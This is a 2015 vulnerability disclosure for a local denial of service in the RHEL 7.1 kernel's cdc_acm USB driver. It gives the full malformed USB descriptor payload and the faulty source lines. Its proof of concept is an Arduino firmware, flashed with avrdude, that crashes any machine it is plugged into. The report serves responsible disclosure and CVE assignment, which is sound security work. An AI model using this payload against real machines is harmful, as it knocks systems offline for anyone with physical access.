Description of problem:
cal RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (cdc_acm driver) [local-DoS]

Version-Release number of selected component (if applicable):
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 

How reproducible:
always

OpenSource Security Ralf Spenneberg
Am Bahnhof 3-5
48565 Steinfurt
info


Date: November 12th, 2015
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) 
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (cdc_acm driver) [local-DoS]
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 
(for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)


Abstract
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB 
device which requires the cdc_acm driver.
Detailed product description
We confirmed the bug on the following system:
RHEL 7.1
Kernel = 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes 

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

 ######### PAYLOAD 1 #########
[*] Device-Descriptor
  bLength:		0x12
  bDescriptorType:	0x1
  bcdUSB:		0x200
  bDeviceClass:		0x3
  bDeviceSubClass:	0x0
  bDeviceProtocol:	0x0
  bMaxPacketSize:	0x40
  idVendor:		0x482
  idProduct:		0x203
  bcdDevice:		0x100
  iManufacturer:	0x1
  iProduct:		0x2
  iSerialNumbers:	0x3
  bNumConfigurations:	0x1

This is the configuration descriptor containing only one interface descriptor.
The cdc-acm driver assumes that there will be at least two interface-descriptors with associated endpoint-descriptors. 
Since the cdc-acm driver is expecting a second interface descriptor, the driver tries to dereference a null-pointer.
This results in a crash of the system. 

****
$ nm cdc-acm.ko.debug | grep acm_probe
0000000000001530 t acm_probe
$ addr2line -e cdc-acm.ko.debug 0x179C
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/class/cdc-acm.c:1229
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/class/cdc-acm.c)
        ...
1093	/* handle quirks deadly to normal probing*/
1094	if (quirks == NO_UNION_NORMAL) {
1095		data_interface = usb_ifnum_to_if(usb_dev, 1);  /* possible null-pointer */
1096		control_interface = usb_ifnum_to_if(usb_dev, 0);
1097		goto skip_normal_probe;
1098	}
        ...
1226 skip_normal_probe:
1227
1228	/*workaround for switched interfaces */
1229	if (data_interface->cur_altsetting->desc.bInterfaceClass /* null-pointer dereference */
1230						!= CDC_DATA_INTERFACE_TYPE) {
1231		if (control_interface->cur_altsetting->desc.bInterfaceC
        ...
****

	[*] Configuration-Descriptor
	  bLength:		0x9
	  bDescriptorType:	0x2
	  wTotalLength:		0x27
	  bNumInterfaces:	0x1
	  bConfigurationValue:	0x1
	  iConfiguration:	0x0
	  bmAttributes:		0x0
	  bMaxPower:		0x31
		[*] Interface-Descriptor
		  bLength:		0x9
		  bDescriptorType:	0x4
		  bInterfaceNumber:	0x0
		  bAlternateSetting:	0x0
		  bNumEndpoints:	0x0
		  bInterfaceClass:	0x0
		  bInterfaceSubClass:	0x0
		  bInterfaceProtocol:	0x0
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x81
			  bmAttribut:		0x3
			  wMaxPacketSize:	0x404
			  bInterval:		0xc
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x1
			  bmAttribut:		0x2
			  wMaxPacketSize:	0x4
			  bInterval:		0xc
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x82
			  bmAttribut:		0x1
			  wMaxPacketSize:	0x4
			  bInterval:		0xc

Proof of Concept:
1) The bug can be reproduced using USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo). 
The attached vUSBf-obj file contains the payload. Please let us know if you would like to use the Facedancer board. 
In such case, we could also provide a patched version of vUSBf which allows to reproduce vUSBf-Payloads using the Facedancer board.
2) For a proof of concept we are providing also an Arduino firmware file. Just flash it 
on Arduino Leonardo and plug it into any RHEL machine. The Arduino will 
emulate the defective USB device.

   avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex

The file binary.hex has been attached to this bug report.
To prevent automated sending of payloads, use a jumper to connect port D3 and 
5V!


Severity and Ease of Exploitation
The security weakness can be easily exploited. Using our Arduino firmware only 
physical access to the system is required. 


Additional info:
Stacktrace, vUSBf-Payload, Arduino-Firmware attached.


Please assign a CVE for this issue since this is a local DoS of the targeted system. 
CVSS 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)